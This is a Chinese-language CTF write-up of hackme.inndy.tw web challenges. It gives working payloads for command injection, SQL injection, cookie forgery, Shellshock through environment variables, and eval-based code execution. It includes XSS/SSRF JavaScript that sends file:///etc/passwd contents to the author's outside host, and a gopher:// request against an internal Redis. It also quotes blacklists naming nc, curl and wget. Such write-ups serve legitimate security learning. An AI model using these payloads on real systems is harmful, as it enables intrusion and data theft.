之前断断续续的做过 http://hackme.inndy.tw/
上面的一些题,题目有些还是很有趣的,记录一下。
ping
<?php
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];
set_time_limit(2);
function ping($ip) {
global $blacklist;
if(strlen($ip) > 15) {
return 'IP toooooo longgggggggggg';
} else {
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) {
return "{$keyword} not allowed";
}
}
$ret = [];
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
return implode("\n", array_slice($ret, 0, 10));
}
}
if(!empty($_GET['ip']))
echo htmlentities(ping($_GET['ip']));
else
highlight_file(__FILE__);
?>
https://hackme.inndy.tw/ping/?ip=%60ls%60
能看到flag.php
直接读
https://hackme.inndy.tw/ping/?ip=`head%20fl*`
login as admin 0
(https://hackme.inndy.tw/login0)
源代码
<?php
require('config.php');
// table schema
// user -> id, user, password, is_admin
if($_GET['show_source'] === '1') {
highlight_file(__FILE__);
exit;
}
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
$user = null;
// connect to database
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
}
} catch(Exception $e) {
$user = false;
}
}
?>
构造payload
admin\' or 2=2 and is_admin=1#
login as admin 1
(https://hackme.inndy.tw/login1)
payload
admin\\'or(2=2)and(isadmin=1)#
login as admin 3
(https://hackme.inndy.tw/login3)
<?php
require('users_db.php'); // $users
if($_GET['show_source'] === '1') {
highlight_file(__FILE__);
exit;
}
if($_GET['logout'] === '1') {
setcookie('user', '', 0);
header('Location: ./');
}
function set_user($user_data)
{
global $user, $secret;
$user = [$user_data['name'], $user_data['admin']];
$data = json_encode($user);
$sig = hash_hmac('sha512', $data, $secret);
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
setcookie('user', $all, time()+3600);
}
$error = null;
function load_user()
{
global $secret, $error;
if(empty($_COOKIE['user'])) {
return null;
}
$unserialized = json_decode(base64_decode($_COOKIE['user']), true);
$r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'];
if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
$error = 'Invalid session';
return false;
}
$data = json_decode($unserialized['data'], true);
return [
'name' => $data[0],
'admin' => $data[1]
];
}
$user = load_user();
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$user = false;
foreach($users as $u) {
if($u['name'] === $_POST['name'] && $u['password'] === $_POST['password']) {
set_user($u);
}
}
}
?>
这里的考点是
构造payload
<?php
$user = ['admin',true];
$data = json_encode($user);
$all = base64_encode(json_encode(['sig' => 0, 'data' => $data]));
echo $all;
?>
login as admin4
没有exit();
抓包防止跳转拿到flag。
login as admin 6
if(!empty($_POST['data'])) {
try {
$data = json_decode($_POST['data'], true);
} catch (Exception $e) {
$data = [];
}
extract($data);
if($users[$username] && strcmp($users[$username], $password) == 0) {
$user = $username;
}
}
?
可以进行变量覆盖
<?php
$a = ["admin"=>"p0desta"];
$users = ["users"=>$a,"username"=>"admin","password"=>"p0desta"];
echo json_encode($users);
?>
Login as Admin 7
弱类型比较
使用 admin
和 s878926199a
登录即可。
dafuq-manager 1
修改cookie, show_hidden
的value改为 yes
dafuq-manager 2
看 index.php
第70行
case "admin":
require "./core/fun_admin.php";
show_admin($GLOBALS["dir"]);
跟进 show_admin()
函数,看 func_admin.php
第193行
function show_admin($dir) {
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);
if (!$GLOBALS["require_login"]) show_error($GLOBALS["error_msg"]["miscnofunc"]);
if (isset($GLOBALS['__GET']["action2"])) $action2 = $GLOBALS['__GET']["action2"];
elseif (isset($GLOBALS['__POST']["action2"])) $action2 = $GLOBALS['__POST']["action2"];
else $action2 = "";
全局搜索 $GLOBALS["permissions"]
,跟进 func_users.php
然后跟进 find_user
发现获取都是从 GLOBALS['users']
获取的,可以发现定义在 .htusers.php
<?php
$GLOBALS["users"] = array(
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://game1.security.ntu.st/data/guest", 0, "^.ht", 1, 1),
);
到这里之后我思路有点偏差,一开始我以为可以找到写入或者利用上传覆盖掉原来的,但是我没找到利用方式,反过来想想,作为出题方肯定不会让你覆盖,不然其他人没法玩了。。
那么应该会结合文件读取漏洞,使用seay自动审一下
先跟进第6条,发现出现在 func_edit.php
,
function edit_file($dir, $item) {
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$fname = get_abs_item($dir, $item);
if (!file_in_web($fname)) show_error($GLOBALS["error_msg"]["accessfile"]);
if (isset($GLOBALS['__POST']["dosave"]) && $GLOBALS['__POST']["dosave"] == "yes") {
$item = basename(stripslashes($GLOBALS['__POST']["fname"]));
$fname2 = get_abs_item($dir, $item);
if (!isset($item) || $item == "") show_error($GLOBALS["error_msg"]["miscnoname"]);
if ($fname != $fname2 && @file_exists($fname2)) show_error($item . ": " . $GLOBALS["error_msg"]["itemdoesexist"]);
savefile($dir, $fname2);
$fname = $fname2;
}
$fp = @fopen($fname, "r");
由 .htusers.php
可知我们的 permissions
的值为1,第一个if符合,跟进getisfile看一下
func_extra.php
第30行
function get_is_file($dir, $item) {
return @is_file(get_abs_item($dir, $item));
}
继续跟进 get_abs_item
function get_abs_item($dir, $item) {
return get_abs_dir($dir) . "/" . $item;
}
继续跟进 get_abs_dir
function get_abs_dir($dir) {
$abs_dir = $GLOBALS["home_dir"];
if ($dir != "") $abs_dir.= "/" . $dir;
return $abs_dir;
}
可以知道 home_dir=./data/guest
拼接一下
./data/guest/$dir/$item
继续跟进一下 get_show_file
看一下对目录的waf
if ($item == "." || $item == "..") return false;
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;
它这样写根本不需要刻意去绕,改好cookie直接去读就行
<?php
$GLOBALS["users"] = array(
array("adm1n15trat0r", "34af0d074b17f44d1bb939765b02776f", "./data", "https://dafuq-manager.hackme.inndy.tw/data", 1, "^.ht", 7, 1),
array("inndy", "fc5e038d38a57032085441e7fe7010b0", "./data/inndy", "https://dafuq-manager.hackme.inndy.tw/data/inndy", 0, "^.ht", 1, 1),
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://dafuq-manager.hackme.inndy.tw/data/guest", 0, "^.ht", 1, 1),
);
将md5解密,登录即可拿到flag2
dafuq-manager 2
题目提示GETSHELL,在我们第二关使用seay的时候就发现了eval的地方 func_debug
function do_debug() {
assert(strlen($GLOBALS['secret_key']) > 40);
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}
list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
$cmd = base64_decode($cmd);
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) {
die('2bad');
}
}
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));
} else {
show_error('What does the fox say?');
}
}
我们可以知道 strcmp
可以使用数组绕过,然后构造payload
<?php
$GLOBALS["secret_key"] = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command("phpinfo();");
构造payload
<?php
$GLOBALS["secret_key"] = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command('$a="syste"."m";$a("ls flag3/");');
发现
Makefile
flag3
meow
meow.c
尝试直接 cat flag3
并不行,那么尝试利用 meow flag3
拿到flag。
wordpress 1(https://wp.hackme.inndy.tw/)
在最近文件Backup File中拿到源代码,在源代码
首先$h其实就是个md5
λ php -r "var_dump('m'.sprintf('%s%d','d',-4+9e0));"
Command line code:1:
string(3) "md5"
解密一下md5发现结果是 cat flag
然后跟进一下 wp_get_user_ip
函数,
function wp_get_user_ip() {
$ip = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
return $ip;
}
发现它逻辑有问题,如果请求头中有 Client-ip
或者 X-Forwarded-For
的话就会覆盖掉一开始 Remote-addr
获取到的。
拿到flag1
command-executor(https://command-executor.hackme.inndy.tw/)
从这里我们大概知道我们的目标是利用flag-reader去读flag。
然后利用伪协议把源码读出来
untar.php
<?php
if (isset($_FILES['tarfile'])) {
printf('<h2>$ tar -tvf %s</h2 > ', htmlentities($_FILES['tarfile ']['name ']));
echo ' < pre > ';
execute(sprintf('tar - tvf %s2 > & 1 ', escapeshellarg($_FILES['tarfile ']['tmp_name '])));
echo ' < /pre>';
}
?>
man.php
<? php
function render() {
$file = 'man';
if (isset($_GET['file'])) {
$file = (string) $_GET['file'];
if (preg_match('/^[\w\-]+$/', $file) !== 1) {
echo '<pre>Invalid file name!</pre>';
return;
}
}
echo '<h1>Online documents</h1>';
$cmds = ['bash', 'ls', 'cp', 'mv'];
echo '<ul>';
foreach($cmds as $cmd) {
printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
}
echo '</ul>';
printf('<h2>$ man %s</h2>', htmlentities($file));
echo '<pre>';
execute(sprintf('man %s | cat', escapeshellarg($file)));
echo '</pre>';
} ?>
cmd.php
<?php
function render() {
$cmd = '';
if (isset($_GET['cmd'])) {
$cmd = (string) $_GET['cmd'];
}
echo '<ul>';
$cmds = ['ls', 'env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a > < /li>', $c);
}
echo '</ul > '; ?>
<?php
if (strlen($cmd) > 0) {
printf(' < h2 > $ % s < /h2>', htmlentities($cmd));
echo '<pre>';
switch ($cmd) {
case 'env':
case 'ls':
case 'ls -l':
case 'ls -al':
execute($cmd);
break;
case 'cat flag':
echo '<img src="cat-flag.png" alt="cat flag">';
break;
default:
printf('%s: command not found', htmlentities($cmd));
}
echo '</pre > ';
}
} ?>
ls.php
<?php
function render() {
$file = '.';
if (isset($_GET['file'])) {
$file = (string) $_GET['file'];
}
echo '<h1>Dictionary Traversal</h1>';
echo '<ul>';
$dirs = ['.', '..', '../..', '/etc/passwd'];
foreach($dirs as $dir) {
printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
}
echo '</ul>';
printf('<h2>$ ls %s</h2>', htmlentities($file));
echo '<pre>';
execute(sprintf('ls -l %s', escapeshellarg($file)));
echo '</pre>';
} ?>
index.ph
<?php $pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'], ];
function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}
$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};'];
function waf($a) {
global $black_list;
if (is_array($a)) {
foreach($a as $key = > $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if (preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
function execute($cmd, $shell = 'bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}
foreach($_SERVER as $key = > $val) {
if (substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}
$page = '';
if (isset($_GET['func'])) {
$page = $_GET['func'];
if (strstr($page, '..') !== false) {
$page = '';
}
}
if ($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {}
}
if(is_callable('render')) render(); else render_default(); ?>
发现使用了putenv来写入环境变量,关于环境变量的攻击可以找到
http://blog.sina.com.cn/s/blog_6b347b2a0102v3nc.html
然后再看一下 waf
过滤了 '\(\)\s*\{\s*:;\s*\};'
那么应该是没偏差了
这里在网上找到个payload
() { foo;};echo;/bin/cat /etc/passwd
得到
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
flag:x:1337:1337::/home/flag
直接反弹出来shell
这里我一开始尝试使用一开头说的用flag-reader去读flag,但是并没有输出,把c文件cat出来看看
cat flag-reader.c
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}
setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));
if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}
这里主要是写入和读入到缓冲区的内容是否相等(ps:C不太好,可能理解有错误),相等则读argv[1]
XSSME
发现有一些waf,但是很好绕过
<svg/onload='javascript:window.open(xxx)'>
记得实体化编码一下
吐槽一下这题的验证码真难跑
XSSRF leak
常规套路,打源码出来
url
+document.body.innerHTML
打出源码来
nav class = "navbar navbar-expand-lg navbar-dark bg-dark d-flex" > < a class = "navbar-brand"
href = "index.php" > XSSRF < /a> <ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" href="sendmail.php">Send Mail</a > < /li> <li class="nav-item"> <a class="nav-link" href="mailbox.php">Mailbox</a > < /li> <li class="nav-item"> <a class="nav-link" href="sentmail.php">Sent Mail</a > < /li> <li class="nav-item"> <a class="nav-link" href="setadmin.php">Set Admin</a > < /li> <li class="nav-item"> <a class="nav-link" href="request.php">Send Request</a > < /li> </ul > < ul class = "navbar-nav ml-auto" > < li class = "nav-item" > < span class = "navbar-text" > Hello, admin(Administrator) < /span> </li > < li class = "nav-item" > < a class = "nav-link"
href = "logout.php" > Logout < /a>
有个request.php是我们页面没有的,打一下源码,既然这里都没有CSP,那么我们动态创建个 script
标签然后将外部的js加载进来。
这里加载外部js的好处是自己调试的时候不用重复提交了。
打到源码
<form action="/request.php " method="POST ">
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
</form>
参数是url,应该是提交连接,尝试可不可以直接利用 file://
来读文件
直接提交相同的payload,我们只修改自己服务器上的js文件即可
var x = new XMLHttpRequest();
x.open("POST", "request.php", true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
text = x.responseText;
location.href = "https://xss.p0desta.com/?token=" + btoa(encodeURIComponent(text));
}
};
x.send("url=file:///etc/passwd");
可以打回回显,通过扫目录可以知道robots.txt存在,打会config.php的源码来拿到flag
file:///var/www/html/config.php
xssrf redis(https://xssrf.hackme.inndy.tw/)
由上一关可以知道这关的redis开在25566端口,那么只是修改url参数,利用gopher协议去打就ok
gopher的文章 https://blog.chaitin.cn/gopher-attack-surfaces/#h2.2_%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91-redis
本来想直接反弹出shell来着,但是貌似有长度限制。
这里贴出 http://doc.redisfans.com/
命令文档,可以使用单独命令取出
可以参考文章 https://www.jianshu.com/p/e97e114db751
var x = new XMLHttpRequest();
x.open("POST", "request.php", true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
text = x.responseText;
location.href = "https:/xxx/?token=" + btoa(encodeURIComponent(text));
}
};
x.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit");
找到flag,利用,只不过是个list类型,利用上面我给出的文档使用相应的命令读出即可。
讲真,题是好题,就是验证码实在太恶心。
总结
有趣的题目总能学到有趣的姿势。